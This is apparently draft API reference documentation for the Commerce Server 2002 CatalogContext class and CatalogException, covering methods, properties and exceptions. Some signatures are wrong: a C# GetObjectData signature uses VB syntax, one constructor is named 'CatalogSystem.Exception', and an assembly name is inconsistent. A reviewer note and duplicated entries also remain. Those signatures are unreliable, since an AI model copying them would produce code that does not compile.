Protected Instance Methods

Method | Description
CheckState | Verifies that the object has not already been disposed.
Dispose(Boolean) | Releases the unmanaged resources used by this class. If this class is not sealed, derived classes can override this method to dispose of its own resources.

Remarks

The CatalogContext, ProductCatalog, Product, and Category objects implement most of their functionality as virtual methods that may be overridden in a subclass (or an entirely new implementation may be provided). Subclassing also allows for adding information to the data sets before they are returned (for example, inventory levels).

The pattern to implement this is to subclass the CatalogContext object, and provide a static factory method similar to CreateFromConnectionString and CreateFromCommerceSiteName that initializes and returns a new CatalogContext subclass instance. This instance can then be placed into the CommerceContext.CatalogSystem property for use on the site. The subclass must provide an implementation for the GetCatalog methods. However, you can no longer use:

ProductCatalog catalog = new Catalog(string name)

But you can use:

ProductCatalog catalog = CommerceContext.Current.CatalogContext.GetCatalog(string name);

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CatalogContext Constructor (BCL)

Protected Instance Constructor

Constructor | Description
Constructor(DebugContext) | Creates a new instance of the CatalogContext class with the specified DebugContext object.


CatalogContext Constructor (DebugContext) (BCL)

Use this method to create a new instance of the CatalogContext object with the specified DebugContext object.

[Visual Basic .NET]
Protected Sub New( _
  ByVal dbgContext As DebugContext _
)
[C#]
protected CatalogContext(
  DebugContext dbgContext
);

Parameters

[Visual Basic .NET]
dbgContext
An instance of the DebugContext class. Determines how debugging and tracing information output by this class will be output to the user. May not be null.
[C#]
dbgContext
An instance of the DebugContext class. Determines how debugging and tracing information output by this class will be output to the user. May not be null.

Remarks

Throws an ArgumentNullException if the dbgContext parameter is null.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CatalogContext Methods (BCL)

Public Instance Methods

Method | Description
Dispose | Releases the unmanaged resources used by this class and optionally releases the managed resources.
GetCatalog(String) | Gets the ProductCatalog object for the catalog with the specified name.
GetCatalogs(String, String, CatalogSearchOptions, Int32) | Searches for catalogs using a TSQL query. All properties of all matching records are returned.
GetCatalogs(String, String, CatalogSearchOptions) | Searches for catalogs using a TSQL query. All properties of all matching records are returned.
GetCatalogs(String, String) | Searches for catalogs using a TSQL query. All properties of all matching records are returned.
GetCatalogs(String) | Searches for catalogs using a TSQL query. All properties of all matching records are returned.
GetDefinitionProperties(String) | Gets the properties for a specific catalog definition.
GetEnumerationPropertyValues(String) | Returns all possible values for a catalog property of type CatalogDataType.Enumeration.
GetPropertyAttributes(String) | Gets the attributes for a specific catalog property.
Refresh | Refreshes the Product Catalog System. Ensures that the property caches are coherent with the current design-time view of the catalog.
SetJoinTable(String, String, String, CatalogJoinType) | Sets the join table information. The join table information is in effect for the lifetime of the CatalogContext object.

Public Static (Shared) Methods

Method | Description
CreateFromConnectionString(String, DebugContext) | Creates a CatalogContext object that will run against the catalog database specified in the ADO connection string.

Protected Instance Methods

Method | Description
CheckState | Verifies that the object has not already been disposed.
Dispose(Boolean) | Releases the unmanaged resources used by this class. If this class is not sealed, derived classes can override this method to dispose of its own resources.


CatalogContext.CheckState Method (BCL)

Use this method to verify that the object has not already been disposed.

Definition

[Visual Basic .NET]
Protected Overridable Sub CheckState( _
)
[C#]
protected virtual void CheckState(
);

Remarks

Throws ObjectDisposedException if the object has already been disposed.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CatalogContext.CreateFromConnectionString (String, DebugContext) Method (BCL)

Use this method to create a CatalogContext object that will run against the catalog database specified in the ADO connection string.

[Visual Basic .NET]
Public Shared Function CreateFromConnectionString( _
  ByVal connectionString As System.String, _
  ByVal dbgContext As DebugContext _
) As CatalogContext
[C#]
public static CatalogContext CreateFromConnectionString(
  System.String connectionString,
  DebugContext dbgContext
);

Parameters

[Visual Basic .NET]
connectionString
The ADO connection string. May not be null.
dbgContext
The DebugContext object. May not be null.
[C#]
connectionString
The ADO connection string. May not be null.
dbgContext
The DebugContext object. May not be null.

Remarks

Throws an ArgumentNullException if either the connectionString or the dbgContext parameter is null. Throws a CatalogInitializationException if initialization of the CatalogManager object fails.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CatalogContext.Dispose Method (BCL)

Use this method to release resources used by this object.

[Visual Basic .NET]
Overridable Public Sub Dispose( _
)
[C#]
public virtual void Dispose(
);

Implements

System.IDisposable

Remarks

Releases the underlying CatalogManager interop object. This method calls the CatalogContext.Dispose(True) method to dispose of the resources.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CatalogContext.Dispose (Boolean) Method (BCL)

Use this method to release the unmanaged resources used by this object and optionally to release the managed resources.

[Visual Basic .NET]
Protected Overridable Sub Dispose( _
  ByVal disposing As System.Boolean _
)
[C#]
protected virtual void Dispose(
  System.Boolean disposing
);

Implements

System.IDisposable

Parameters

[Visual Basic .NET]
disposing
A value of True if this method was called from the Dispose method, False if this method was called from the finalizer.
[C#]
disposing
A value of True if this method was called from the Dispose method, False if this method was called from the finalizer.

Remarks

If this class is not sealed, derived classes can override this method to dispose of their resources. For more information, see the Microsoft.NET Framework SDK documentation for implementing a Dispose method.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CatalogContext.GetCatalog (String) Method (BCL)

Use this method to get the ProductCatalog object for the catalog with the specified name.

[Visual Basic .NET]
Overridable Public Function GetCatalog( _
  ByVal catalogName As System.String _
) As ProductCatalog
[C#]
public virtual ProductCatalog GetCatalog(
  System.String catalogName
);

Parameters

[Visual Basic .NET]
catalogName
The name of the catalog. May not be null.
[C#]
catalogName
The name of the catalog. May not be null.

Return Value

The specified ProductCatalog object.

Remarks

When used in the context of the Commerce Server 2002 .NET Framework, a ProductCatalog object is valid only for the request on which it was created. It will be automatically disposed in the OnEndRequest handler. Throws an ArgumentNullException if the catalogName parameter is null. Throws a CatalogNotFoundException if the catalog does not exist. Sets the ActiveLanguage of the ProductCatalog object to the CultureInfo.CurrentUICulture. If the catalog does not support this language, then the ProductCatalog.ActiveLanguage defaults to the default language of the catalog.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CatalogContext.GetCatalogs (String) Method (BCL)

Use this method to search for catalogs using a TSQL query. All properties of all matching records are returned.

[Visual Basic .NET]
Overridable Public Function GetCatalogs( _
  ByVal searchClause As System.String _
) As System.Data.DataSet
[C#]
public virtual System.Data.DataSet GetCatalogs(
  System.String searchClause
);

Parameters

[Visual Basic .NET]
searchClause
The search clause.
[C#]
searchClause
The search clause.

Return Value

A DataSet with a single DataTable containing the properties of catalogs that matched the query.

Remarks

Throws a CatalogException on failure. The results are returned in the current user interface culture.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CatalogContext.GetCatalogs (String, String) Method (BCL)

Use this method to search for catalogs using a TSQL query. All properties of all matching records are returned.

[Visual Basic .NET]
Overridable Public Function GetCatalogs( _
  ByVal searchClause As System.String, _
  ByVal language As System.String _
) As System.Data.DataSet
[C#]
public virtual System.Data.DataSet GetCatalogs(
  System.String searchClause,
  System.String language
);

Parameters

[Visual Basic .NET]
searchClause
The search clause.
language
The language, specified as a RFC 1766 CultureInfo class name. If null, it defaults to the current user interface culture.
[C#]
searchClause
The search clause.
language
The language, specified as a RFC 1766 CultureInfo class name. If null, it defaults to the current user interface culture.

Return Value

A DataSet with a single DataTable containing the properties of catalogs that matched the query.

Remarks

Throws a CatalogException on failure.

See the Microsoft .NET Framework SDK documentation for more information about the CultureInfo class.

If the language parameter is not specified, the CultureInfo.CurrentUICulture value is used.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CatalogContext.GetCatalogs (String, String, CatalogSearchOptions) Method (BCL)

Use this method to search for catalogs using a TSQL query, which returns results as specified by the searchOptions parameter.

[Visual Basic .NET]
Overridable Public Function GetCatalogs( _
  ByVal searchClause As System.String, _
  ByVal language As System.String, _
  ByVal searchOptions As CatalogSearchOptions _
) As System.Data.DataSet
[C#]
public virtual System.Data.DataSet GetCatalogs(
  System.String searchClause,
  System.String language,
  CatalogSearchOptions searchOptions
);

Parameters

[Visual Basic .NET]
searchClause
The search clause. May not be null.
language
The language, specified as a .NET RFC 1766 culture code. If null, it defaults to the current user interface culture.
searchOptions
The CatalogSearchOptions object. May be null.
[C#]
searchClause
The search clause. May not be null.
language
The language, specified as a .NET RFC 1766 culture code. If null, it defaults to the current user interface culture.
searchOptions
The CatalogSearchOptions object. May be null.

Return Value

A DataSet with a single DataTable containing the properties of catalogs that matched the query.

Remarks

The following properties of the searchOptions parameter are used; any others are ignored:

  • StartingRecord
  • RecordsToRetrieve
  • Language

Throws a ArgumentNullException if the searchOptions parameter is null. Throws a CatalogException on failure.

If the language parameter is not specified, the CultureInfo.CurrentUICulture value is used.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CatalogContext.GetCatalogs (String, String, CatalogSearchOptions, Int32) Method (BCL)

Use this method to search for catalogs using a TSQL query, which returns results as specified by the CatalogSearchOptions parameter, and returns the total number of matching catalog records in the totalRecords parameter.

[Visual Basic .NET]
Overridable Public Function GetCatalogs( _
  ByVal searchClause As System.String, _
  ByVal language As System.String, _
  ByVal searchOptions As CatalogSearchOptions, _
  ByRef totalRecords As System.Int32 _
) As System.Data.DataSet
[C#]
public virtual System.Data.DataSet GetCatalogs(
  System.String searchClause,
  System.String language,
  CatalogSearchOptions searchOptions,
  out System.Int32 totalRecords
);

Parameters

[Visual Basic .NET]
searchClause
The search clause.
language
The language, specified as a .NET RFC 1766 culture code. If null, it defaults to the current user interface culture.
searchOptions
The CatalogSearchOptions object. May be null.
totalRecords
(out) The total number of records matching the query.
[C#]
searchClause
The search clause. May not be null.
language
The language, specified as a .NET RFC 1766 culture code. If null, it defaults to the CultureInfo.CurrentUICulture value.
searchOptions
The CatalogSearchOptions object. May be null.
totalRecords
(out) The total number of records matching the query.

Return Value

A DataSet with a single DataTable containing the properties of catalogs that matched the query.

Remarks

The following properties of the searchOptions parameter are used; any others are ignored:

  • StartingRecord
  • RecordsToRetrieve
  • Language

Throws a CatalogException on failure.

If the language parameter is not specified, the CultureInfo.CurrentUICulture value is used.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CatalogContext.GetDefinitionProperties (String) Method (BCL)

Use this method to get the properties for a specific catalog definition.

[Visual Basic .NET]
Overridable Public Function GetDefinitionProperties( _
  ByVal definitionName As System.String _
) As System.Data.DataSet
[C#]
public virtual System.Data.DataSet GetDefinitionProperties(
  System.String definitionName
);

Parameters

[Visual Basic .NET]
definitionName
The name of the definition. May not be null.
[C#]
definitionName
The name of the definition. May not be null.

Return Value

A DataSet containing definition properties.

Remarks

The GetDefinitionProperties method can be used to retrieve properties of either category or product definitions. Gets the names of the definitions using the CategoryDefinitionNames or ProductDefinitionNames properties. Throws an ArgumentNullException if the definitionName parameter is null. Throws a CatalogException on failure.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CatalogContext.GetEnumerationPropertyValues (String) Method (BCL)

Use this method to return all possible values for a catalog property of type CatalogDataType.Enumeration.

[Visual Basic .NET]
Overridable Public Function GetEnumerationPropertyValues( _
  ByVal propertyName As System.String _
) As System.Data.DataSet
[C#]
public virtual System.Data.DataSet GetEnumerationPropertyValues(
  System.String propertyName
);

Parameters

[Visual Basic .NET]
propertyName
The name of the property to return enumerations for. May not be null.
[C#]
propertyName
The name of the property to return enumerations for. May not be null.

Return Value

A DataSet with a single DataTable containing enumeration property values.

Remarks

Throws an ArgumentNullException if the propertyName parameter is null. Throws a CatalogException on failure.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CatalogContext.GetPropertyAttributes (String) Method (BCL)

Use this method to get the attributes for a specific catalog property.

[Visual Basic .NET]
Overridable Public Function GetPropertyAttributes( _
  ByVal propertyName As System.String _
) As System.Data.DataSet
[C#]
public virtual System.Data.DataSet GetPropertyAttributes(
  System.String propertyName
);

Parameters

[Visual Basic .NET]
propertyName
The name of the property to retrieve attributes for. May not be null.
[C#]
propertyName
The name of the property to retrieve attributes for. May not be null.

Return Value

A DataSet with a single DataTable and containing a single DataRow with the property attributes.

Remarks

Throws an ArgumentNullException if the propertyName parameter is null. Throws a CatalogException on failure.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CatalogContext.Refresh Method (BCL)

Use this method to flush the cached data. The next time that data is queried, it will be retrieved from the Catalog COM API, and thereby the cache will gradually be filled with the coherent design-time view of the data.

[Visual Basic .NET]
Overridable Public Sub Refresh( _
)
[C#]
public virtual void Refresh(
);

Remarks

The following properties on the catalog are refreshed:

  • CatalogNames
  • PropertyNames
  • CategoryDefinitions
  • ProductDefinitionNames
  • CatalogSetCollection
  • ProductCatalog, Product, Category cached data

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CatalogContext.SetJoinTable (String, String, String, CatalogJoinType) Method (BCL)

Use this method to set the join table information. The join information is in effect for the lifetime of the CatalogContext object.

For a list of the methods that support the JoinTable feature, see Code to Join an External Table to Product Recordsets.

[Visual Basic .NET]
Public Sub SetJoinTable( _
  ByVal targetTableName As System.String, _
  ByVal sourceJoinKey As System.String, _
  ByVal targetJoinKey As System.String, _
  ByVal joinType As CatalogJoinType _
)
[C#]
public void SetJoinTable(
  System.String targetTableName,
  System.String sourceJoinKey,
  System.String targetJoinKey,
  CatalogJoinType joinType
);

Parameters

[Visual Basic .NET]
targetTableName
The target table. May not be null.
sourceJoinKey
The source join key name. May not be null.
targetJoinKey
The target join key name. May not be null.
joinType
The CatalogJoinType enumeration value. See the Remarks section for possible values.
[C#]
targetTableName
The target table. May not be null.
sourceJoinKey
The source join key name. May not be null.
targetJoinKey
The target join key name. May not be null.
joinType
The CatalogJoinType enumeration value. See the Remarks section for possible values.

Return Value

This method returns void.

Remarks

If you pass a parameter containing spaces to the SetJoinTable method, that parameter must be enclosed by square brackets([]).

The following table lists the possible values for the CatalogJoinType enumeration.

Type | Description
InnerJoin | Returns rows only where the keys are equal.
OuterJoinLeft | Returns all rows in the Product Catalog System and matching rows in the target table.
OuterJoinRight | Returns matching rows in the Product Catalog System and all rows in the target table.
OuterJoinFull | Returns all rows in both tables.
NoJoin | Reserved for future use.

Throws an ArgumentNullException if any of the three string parameters are null. Throws a CommerceException on failure.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CatalogContext Properties (BCL)

Public Instance Properties

Property | Description
CachingEnabled | True if caching is enabled, otherwise False.
CatalogNames | Gets the complete list of catalogs known to the Product Catalog System as an array of catalog names.
CatalogSets | Returns the (cached) CatalogSetCollection object that contains information about all the catalog sets in the Commerce Server Product Catalog System.
CategoryDefinitionNames | Gets the names of all category definitions defined in the Product Catalog System.
DebugContext | Gets the DebugContext object that this object is using to log trace messages, and so forth.
DefaultAnonymousCatalogSet | Returns the catalog collection for the configured DefaultAnonymous catalog set.
DefaultAuthenticatedCatalogSet | Returns the catalog collection for the configured DefaultAuthenticated catalog set.
ProductDefinitionNames | Gets the names of all product definitions defined in the Product Catalog System.
PropertyNames | Gets the names of all properties defined in the Product Catalog System.


CatalogContext.DefaultAnonymousCatalogSet Property (BCL)

The DefaultAnonymousCatalogSet property returns the catalog collection for the configured DefaultAnonymous catalog set.

Definition

[Visual Basic .NET]
Overridable Public ReadOnly Property DefaultAnonymousCatalogSet As ReadOnlyStringCollection
[C#]
public virtual ReadOnlyStringCollection DefaultAnonymousCatalogSet {get;}

Property Value

A ReadOnlyStringCollection containing the catalog collection for the configured DefaultAnonymous catalog set.

Remarks

Returns the catalog collection for the configured DefaultAnonymous catalog set.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CatalogContext.DefaultAuthenticatedCatalogSet Property (BCL)

The DefaultAuthenticatedCatalogSet property returns the catalog collection for the configured default authenticated catalog set.

Definition

[Visual Basic .NET]
Overridable Public ReadOnly Property DefaultAuthenticatedCatalogSet As ReadOnlyStringCollection
[C#]
public ReadOnlyStringCollection DefaultAuthenticatedCatalogSet {get;}

Property Value

A ReadOnlyStringCollection containing the catalog collection for the configured DefaultAuthenticated catalog set.

Remarks

Returns the catalog collection for the configured DefaultAuthenticated catalog set.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CatalogContext.CachingEnabled Property (BCL)

Use the CachingEnabled property to determine whether caching is enabled.

Definition

[Visual Basic .NET]
Overridable Public ReadOnly Property CachingEnabled As System.Boolean
[C#]
public virtual System.Boolean CachingEnabled {get;}

Property Value

A Boolean value indicating whether caching is enabled. If True, caching is enabled, otherwise, caching is not enabled.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CatalogContext.CatalogNames Property (BCL)

Use the CatalogNames property to get the complete list of catalogs known to the Product Catalog System.

Definition

[Visual Basic .NET]
Overridable Public ReadOnly Property CatalogNames As ReadOnlyStringCollection
[C#]
public virtual ReadOnlyStringCollection CatalogNames {get;}

Property Value

A ReadOnlyStringCollection object containing all the catalogs in the Product Catalog System.

Remarks

The CatalogContext object caches this list since it is frequently used in Commerce Server sites. To refresh the list, call the Refresh method explicitly. Throws a CatalogException on failure

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CatalogContext.CatalogSets Property (BCL)

The CatalogSets property contains information about all the catalog sets in the Product Catalog System.

Definition

[Visual Basic .NET]
Overridable Public ReadOnly Property CatalogSets As CatalogSetCollection
[C#]
public virtual CatalogSetCollection CatalogSets {get;}

Property Value

A cached CatalogSetCollection object that contains the properties of the catalog sets.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CatalogContext.CategoryDefinitionNames Property (BCL)

The CategoryDefinitionNames property contains the names of all category definitions in the Product Catalog System.

Definition

[Visual Basic .NET]
Overridable Public ReadOnly Property CategoryDefinitionNames As ReadOnlyStringCollection
[C#]
public virtual ReadOnlyStringCollection CategoryDefinitionNames {get;}

Property Value

A string collection that contains the names of all category definitions in the Product Catalog System.

Remarks

The CatalogContext object caches this list since it is frequently used in Commerce Server sites. To refresh the list, call the Refresh method explicitly. Throws a CatalogException on failure.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CatalogContext.DebugContext Property (BCL)

The DebugContext property contains the DebugContext object that is associated with this object.

Definition

[Visual Basic .NET]
Public ReadOnly Property DebugContext As DebugContext
[C#]
public DebugContext DebugContext {get;}

Property Value

A DebugContext object that this object is using to log trace messages, and so forth.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CatalogContext.DefaultAnonymousCatalogSet Property (BCL)

The DefaultAnonymousCatalogSet property returns the catalog collection for the configured DefaultAnonymous catalog set.

Definition

[Visual Basic .NET]
Overridable Public ReadOnly Property DefaultAnonymousCatalogSet As ReadOnlyStringCollection
[C#]
public virtual ReadOnlyStringCollection DefaultAnonymousCatalogSet {get;}

Property Value

A ReadOnlyStringCollection containing the catalog collection for the configured DefaultAnonymous catalog set.

Reviewers: Need type.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CatalogContext.DefaultAuthenticatedCatalogSet Property (BCL)

The DefaultAuthenticatedCatalogSet property returns the catalog collection for the configured DefaultAuthenticated catalog set.

Definition

[Visual Basic .NET]
Overridable Public ReadOnly Property DefaultAuthenticatedCatalogSet As ReadOnlyStringCollection
[C#]
public virtual ReadOnlyStringCollection DefaultAuthenticatedCatalogSet {get;}

Property Value

A ReadOnlyStringCollection containing the catalog collection for the configured DefaultAuthenticated catalog set.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CatalogContext.ProductDefinitionNames Property (BCL)

The ProductDefinitionNames property contains the names of all product definitions defined in the Product Catalog System.

Definition

[Visual Basic .NET]
Overridable Public ReadOnly Property ProductDefinitionNames As ReadOnlyStringCollection
[C#]
public virtual ReadOnlyStringCollection ProductDefinitionNames {get;}

Property Value

A ReadOnlyStringCollection object containing the names of all product definitions defined in the Product Catalog System.

Remarks

The CatalogContext object caches this list since it is frequently used in Commerce Server sites. To refresh the list, call the Refresh method explicitly. Throws a CatalogException on failure.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CatalogContext.PropertyNames Property (BCL)

The PropertyNames property contains the names of all properties defined in the Product Catalog System.

Definition

[Visual Basic .NET]
Overridable Public ReadOnly Property PropertyNames As ReadOnlyStringCollection
[C#]
public virtual ReadOnlyStringCollection PropertyNames {get;}

Property Value

A ReadOnlyStringCollection containing the names of the properties.

Remarks

The CatalogContext object caches this list since it is frequently used in Commerce Server sites. To refresh the list, call the Refresh method explicitly. Throws a CatalogException on failure.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CatalogDataType Enumeration (BCL)

Enumeration of the valid data types for catalog properties.

Members

Member Name | Description
BigInteger | Indicates a BigInteger DataType.
Boolean | Indicates a Boolean DataType.
Currency | Indicates a Currency DataType.
DateTime | Indicates a DateTime DataType.
Double | Indicates a Double DataType.
Enumeration | Indicates an Enumeration DataType.
FilePath | Indicates a FilePath DataType.
Float | Indicates a Float DataType.
Integer | Indicates an Integer DataType.
Invalid | Indicates an Invalid DataType.
String | Indicates a String DataType.
Text | Indicates a Text DataType.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CatalogException Class (BCL)

Base type for all exceptions raised by the Product Catalog System. This class inherits from the CommerceException and ISerilaizable classes.

Public Instance Constructor

Constructor | Description
CatalogException Constructor | Creates a new instance of the CatalogException class with the specified string message.
CatalogException Constructor(String) | Creates a new instance of the CatalogException class with the specified string message.
CatalogException Constructor(String, Exception) | Creates a new instance of the CatalogException class with the specified string message and inner exception.

Protected Instance Constructor

Constructor | Description
CatalogException(SerializationInfo, StreamingContext) | Creates a new instance of the CatalogException class with the specified serialization information and streaming context.

Public Instance Methods

Method | Description
GetBaseException (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
GetObjectData (SerializationInfo, StreamingContext) | Sets the SerializationInfo object with information about the exception.

Public Instance Properties

Property | Description
HelpLink (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
InnerException (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
Message (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
Source (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
StackTrace (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
TargetSite (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.

Protected Instance Properties

Property | Description
HResult (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: MS.CS.Runtime.dll


CatalogException Constructor (BCL)

Public Instance Constructor

Constructor | Description
CatalogException Constructor | Creates a new instance of the CatalogException class.
CatalogException Constructor(String) | Creates a new instance of the CatalogException class with the specified string message.
CatalogException Constructor(String, Exception) | Creates a new instance of the CatalogException class with the specified string message.

Protected Instance Constructor

Constructor | Description
CatalogException(SerializationInfo, StreamingContext) | Creates a new instance of the CatalogException class with the specified serialization information and streaming context.


CatalogException Constructor (BCL)

Use this method to create a new instance of the CatalogException class.

Definition

[Visual Basic .NET]
Public Sub New( _
)
[C#]
public CatalogException(
);

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CatalogException Constructor (SerializationInfo, StreamingContext) (BCL)

Use this method to create a new instance of the CatalogException class with the specified serialization information and streaming context.

Definition

[Visual Basic .NET]
Protected Sub New( _
  ByVal serializationInfo As System.Runtime.Serialization.SerializationInfo, _
  ByVal streamingContext As System.Runtime.Serialization.StreamingContext _
)
[C#]
protected CatalogException(
  System.Runtime.Serialization.SerializationInfo serializationInfo,
  System.Runtime.Serialization.StreamingContext streamingContext
);

Parameters

[Visual Basic .NET]
serializationInfo
The serialization info.
streamingContext
The streaming context.
[C#]
serializationInfo
The serialization info.
streamingContext
The streaming context.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CatalogException Constructor (String) (BCL)

Use this method to create a new instance of the CatalogException class with the specified string message.

Definition

[Visual Basic .NET]
Public Sub New( _
  ByVal message As System.String _
)
[C#]
public CatalogException(
  System.String message
);

Parameters

[Visual Basic .NET]
message
The message string. May be null.
[C#]
message
The message string. May be null.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CatalogException Constructor (String, Exception) (BCL)

Use this method to create a new instance of the CatalogException class with the specified string message This CatalogException instance wraps the System.exception instance inner.

Definition

[Visual Basic .NET]
Public Sub New( _
  ByVal message As System.String, _
  ByVal inner As System.Exception _
)
[C#]
public CatalogSystem.Exception(
  System.String message,
  System.Exception inner
);

Parameters

[Visual Basic .NET]
message
The message string. May be null.
inner
The inner exception. May be null.
[C#]
message
The message string. May be null.
inner
The inner exception. May be null.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CatalogException Methods (BCL)

Public Instance Methods

Method | Description
GetBaseException (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
GetObjectData (SerializationInfo, StreamingContext) | Sets the SerializationInfo object with information about the exception.


CatalogException.GetObjectData (SerializationInfo, StreamingContext) Method (BCL)

Use this method set the SerializationInfo object with information about the exception.

[Visual Basic .NET]
Overrides Public Sub GetObjectData( _
  ByVal info As System.Runtime.Serialization.SerializationInfo, _
  ByVal context As System.Runtime.Serialization.StreamingContext _
)
[C#]
public override void GetObjectData(
  ByVal info As System.Runtime.Serialization.SerializationInfo, _
  ByVal context As System.Runtime.Serialization.StreamingContext _
);

Parameters

[Visual Basic .NET]
info
The Serialization object that holds the serialized object data about the exception being thrown.
context
The StreamingContext object that contains contextual information about the source or destination.
[C#]
info
The Serialization object that holds the serialized object data about the exception being thrown.
context
The StreamingContext object that contains contextual information about the source or destination.

Implements

System.Runtime.ISerializable

Remarks

The GetObjectData method sets the SerializationInfo object with all the exception object data targeted for serialization. During deserialization, the exception is reconstituted from the SerializationInfo object transmitted over the stream.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CatalogException Properties (BCL)

Public Instance Properties

Property | Description
HelpLink (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
InnerException (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
Message (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
Source (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
StackTrace (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
TargetSite (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.

Protected Instance Properties

Property | Description
HResult (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.


CatalogInitializationException Class (BCL)

